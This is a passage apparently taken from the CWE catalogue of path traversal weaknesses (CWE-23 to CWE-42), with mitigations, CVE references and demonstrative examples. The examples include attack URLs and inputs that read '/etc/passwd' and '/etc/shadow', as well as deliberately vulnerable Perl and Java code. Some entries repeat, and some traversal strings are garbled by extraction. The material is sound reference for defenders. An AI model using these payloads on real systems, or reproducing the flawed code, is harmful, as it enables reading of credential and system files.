Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as `realpath()` in C) that produces the canonical version of the pathname, which effectively removes `".."` sequences and symbolic links (CWE-23, CWE-59). This includes: `realpath()` in C `getCanonicalPath()` in Java `GetFullPath()` in ASP.NET `realpath()` or `abs_path()` in Perl `realpath()` in PHP

Demonstrative Examples

Example 1:

The following URLs are vulnerable to this attack:

Example Language:

(bad)

```
http://example.com.br/get-files.jsp?file=report.pdf
http://example.com.br/get-page.php?home=aaa.html
http://example.com.br/some-page.asp?page=index.html
```

A simple way to execute this attack is like this:

Example Language:

(attack)

```
http://example.com.br/get-files?file=../../../../somedir/somefile
http://example.com.br/../../../../etc/shadow
http://example.com.br/get-files?file=../../../../etc/passwd
```

Example 2:

The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.

Example Language: Perl

(bad)

```
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;
open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");
print "<ul>\n";
while (<$fh>) {
    print "<li>$_</li>\n";
}
print "</ul>\n";
```

While the programmer intends to access files such as `/users/cwe/profiles/alice` or `/users/cwe/profiles/bob`, there is no verification of the incoming user parameter. An attacker could provide a string such as:

Example Language:

(attack)

```
../../../../etc/passwd
```

The program would generate a profile pathname like this:

Example Language:

(result)

```
/users/cwe/profiles/../../../../etc/passwd
```

When the file is opened, the operating system resolves the "../" during path canonicalization and actually accesses this file:

Example Language:

(result)

```
/etc/passwd
```

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.

Example 3:

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

Example Language: HTML

(good)

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

Example Language: Java

(bad)

```
public class FileUploadServlet extends HttpServlet {
    ...
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
    IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        String contentType = request.getContentType();
        // the starting position of the boundary header
        int ind = contentType.indexOf("boundary=");
        String boundary = contentType.substring(ind+9);
        String pLine = new String();
        String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
        // verify that content type is multipart form data
        if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
            // extract the filename from the Http header
            BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
            ...
            pLine = br.readLine();
            String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\n"));
            ...
            // output the file to the local upload directory
            try {
                BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
                for (String line; (line=br.readLine())!=null; ) {
                    if (line.indexOf(boundary) == -1) {
                        bw.write(line);
                        bw.newLine();
                        bw.flush();
                    }
                }
            } //end of for loop
            bw.close();
        }
    }
}
```

```

    } catch (IOException ex) {...}
    // output successful upload response HTML page
  }
  // output unsuccessful upload response HTML page
  else
  {...}
}
...
}

```

This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the `BufferedWriter` object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use `"../"` sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2002-0298 | Server allows remote attackers to cause a denial of service via certain HTTP GET requests containing a <code>%2e%2e</code> (encoded dot-dot), several <code>"../"</code> sequences, or several <code>"../"</code> in a URI. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0298 |
| CVE-2002-0661 | <code>"\"</code> not in denylist for web server, allowing path traversal attacks when the server is run in Windows and other OSes. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0661 |
| CVE-2002-0946 | Arbitrary files may be read files via <code>..\</code> (dot dot) sequences in an HTTP request. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0946 |
| CVE-2002-1042 | Directory traversal vulnerability in search engine for web server allows remote attackers to read arbitrary files via <code>"..\"</code> sequences in queries. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1042 |
| CVE-2002-1209 | Directory traversal vulnerability in FTP server allows remote attackers to read arbitrary files via <code>"..\"</code> sequences in a GET request. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1209 |
| CVE-2002-1178 | Directory traversal vulnerability in servlet allows remote attackers to execute arbitrary commands via <code>"..\"</code> sequences in an HTTP request. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1178 |
| CVE-2002-1987 | Protection mechanism checks for <code>"../"</code> but doesn't account for Windows-specific <code>"\"</code> allowing read of arbitrary files. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1987 |
| CVE-2005-2142 | Directory traversal vulnerability in FTP server allows remote authenticated attackers to list arbitrary directories via a <code>"\"</code> sequence in an LS command. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2142 |
| CVE-2002-0160 | The administration function in Access Control Server allows remote attackers to read HTML, Java class, and image files outside the web root via a <code>"\"</code> sequence in the URL to port 2002. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0160 |
| CVE-2001-0467 | <code>"\"</code> in web server https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0467 |
| CVE-2001-0963 | <code>"..."</code> in cd command in FTP server https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0963 |
| CVE-2001-1193 | <code>"..."</code> in cd command in FTP server https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1193 |
| CVE-2001-1131 | <code>"..."</code> in cd command in FTP server https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1131 |

| Reference | Description |
|----------------------|--|
| CVE-2001-0480 | read of arbitrary files and directories using GET or CD with "." in Windows-based FTP server. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0480 |

CWE-24: Path Traversal: '..../filedir'

Weakness ID : 24

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "..../" sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The "..../" manipulation is the canonical manipulation for operating systems that use "/" as directory separators, such as UNIX- and Linux-based systems. In some cases, it is useful for bypassing protection schemes in environments for which "/" is supported but not the primary separator, such as Windows, which uses "\" but can also accept "/".

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|----|-------------------------|------|
| ChildOf |  | 23 | Relative Path Traversal | 42 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-----------------------------|------------|
| Confidentiality | Read Files or Directories | |
| Integrity | Modify Files or Directories | |

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if

the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

|-------------------------|---------|-----|------------------|
| PLOVER | | | '../filedir |
| Software Fault Patterns | SFP16 | | Path Traversal |

CWE-25: Path Traversal: '/../filedir'

Weakness ID : 25

Structure : Simple

Abstraction : Variant

Status: Incomplete

Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "../" sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

Sometimes a program checks for "../" at the beginning of the input, so a "../" can bypass that check.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-26: Path Traversal: '/dir/../../filename'

Weakness ID : 26

Status: Draft

Structure : Simple

Abstraction : Variant

Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "/dir/../../filename" sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '/dir/../../filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only checks for "../" at the beginning of the input, so a "../.." can bypass that check.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-----------------------------|------------|
| Confidentiality | Read Files or Directories | |
| Integrity | Modify Files or Directories | |

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the

full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../../../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

| Software Fault Patterns | SFP16 | | Path Traversal |

CWE-27: Path Traversal: 'dir/../../filename'

Weakness ID : 27

Status: Draft

Structure : Simple

Abstraction : Variant

Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize multiple internal "../" sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The 'directory/../../filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only removes one "../" sequence, so multiple "../" can bypass that check. Alternately, this manipulation could be used to bypass a check for "../" at the beginning of the pathname, moving up more than one directory level.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-32: Path Traversal: '...' (Triple Dot)

| | |
|------------------------------|----------------------------|
| Weakness ID : 32 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '...' (triple dot) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '...' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to "..\" and might bypass checks that assume only two dots are valid. Incomplete filtering, such as removal of "/" sequences, can ultimately produce valid ".." sequences due to a collapse into unsafe value (CWE-182).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness = High

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|---|-----|---------------------------------------|-----|------|
| MemberOf |  | 981 | SFP Secondary Cluster: Path Traversal | 888 | 2125 |

Notes

Maintenance

This manipulation-focused entry is currently hiding two distinct weaknesses, so it might need to be split. The manipulation is effective in two different contexts: it is equivalent to "..\" on Windows, or it can take advantage of incomplete filtering, e.g. if the programmer does a single-pass removal of "." in a string (collapse of data into unsafe value, CWE-182).

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|-------------------------|---------|-----|--------------------|
| PLOVER | | | '...' (triple dot) |
| Software Fault Patterns | SFP16 | | Path Traversal |

CWE-33: Path Traversal: '...' (Multiple Dot)

Weakness ID : 33

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '...' (multiple dot) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '.....' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to "..\..\.." and might bypass checks that assume only two dots are valid. Incomplete filtering, such as removal of "../" sequences, can ultimately produce valid ".." sequences due to a collapse into unsafe value (CWE-182).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

|-------------------------|---------|-----|----------------------|
| PLOVER | | | '...' (multiple dot) |
| Software Fault Patterns | SFP16 | | Path Traversal |

CWE-34: Path Traversal: '.../'

Weakness ID : 34

Structure : Simple

Abstraction : Variant

Status: Incomplete

Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '.../' (doubled dot dot slash) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '..'/' manipulation is useful for bypassing some path traversal protection schemes. If '..'/' is filtered in a sequential fashion, as done by some regular expression engines, then '..'/' can collapse into the '..'/' unsafe value (CWE-182). It could also be useful when '..' is removed, if the operating system treats '..'/' and '..'/' as equivalent.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| PLOVER | | | '.../' (doubled dot dot slash) |
| Software Fault Patterns | SFP16 | | Path Traversal |

CWE-35: Path Traversal: '..'/'

Weakness ID : 35

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '..'/' (doubled triple dot slash) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '..'/' manipulation is useful for bypassing some path traversal protection schemes. If '..' is filtered in a sequential fashion, as done by some regular expression engines, then '..'/' can collapse into the '..' unsafe value (CWE-182). Removing the first '..' yields '...'; the second removal yields '..'. Depending on the algorithm, the software could be susceptible to CWE-34 but not CWE-35, or vice versa.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. Common Consequences

| Scope | Impact | Likelihood |
|-----------------|--|------------|
| Integrity | Execute Unauthorized Code or Commands | |
| Confidentiality | <i>The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.</i> | |
| Availability | <i>The attacker may be able to create or overwrite critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.</i> | |
| Integrity | Modify Files or Directories | |
| Confidentiality | Read Files or Directories | |
| | <i>The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.</i> | |
| Availability | DoS: Crash, Exit, or Restart | |
| | <i>The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms</i> | |

| Scope | Impact | Likelihood |
|-------|---|------------|
| | such as authentication, it has the potential to lockout every user of the software. | |

Demonstrative Examples

Example 1:

In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

Example Language: Java

(bad)

```
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);
```

However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2002-1345 | Multiple FTP clients write arbitrary files via absolute paths in server responses https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1345 |

| Weakness ID : 37 | Status : Draft |
| Structure : Simple | |
| Abstraction : Variant | |

Description

A software system that accepts input in the form of a slash absolute path ('/absolute/pathname/here') without appropriate validation can allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|---|------|
| ChildOf | V | 160 | Improper Neutralization of Leading Special Elements | 387 |
| ChildOf | B | 36 | Absolute Path Traversal | 70 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-----------------------------|------------|
| Confidentiality | Read Files or Directories | |
| Integrity | Modify Files or Directories | |

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness = High

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

CWE-41: Improper Resolution of Path Equivalence

| | |
|---------------------------|---------------------------|
| Weakness ID : 41 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The system or application is vulnerable to file system contents disclosure through path equivalence. Path equivalence involves the use of special characters in file and directory names. The associated manipulations are intended to generate multiple names for the same object.

Extended Description

Path equivalence is usually employed in order to circumvent access controls expressed using an incomplete set of file name or file path representations. This is different from path traversal, wherein the manipulations are performed to generate a name for a different object.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name |  | Page |
|----------|---|-----|--|---|------|
| MemberOf |  | 723 | OWASP Top Ten 2004 Category A2 - Broken Access Control | 711 | 2052 |
| MemberOf |  | 743 | CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO) | 734 | 2064 |
| MemberOf |  | 877 | CERT C++ Secure Coding Section 09 - Input Output (FIO) | 868 | 2094 |
| MemberOf |  | 884 | CWE Cross-section | 884 | 2230 |
| MemberOf |  | 981 | SFP Secondary Cluster: Path Traversal | 888 | 2125 |

Notes

Relationship

Some of these manipulations could be effective in path traversal issues, too.

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|----------------------|---------|-----|--|
| PLOVER | | | Path Equivalence |
| CERT C Secure Coding | FIO02-C | | Canonicalize path names originating from untrusted sources |

Related Attack Patterns

CAPEC-ID Attack Pattern Name

3 Using Leading 'Ghost' Character Sequences to Bypass Input Filters

CWE-42: Path Equivalence: 'filename.' (Trailing Dot)**Weakness ID :** 42**Status:** Incomplete**Structure :** Simple**Abstraction :** Variant**Description**

A software system that accepts path input in the form of trailing dot ('filedir.') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

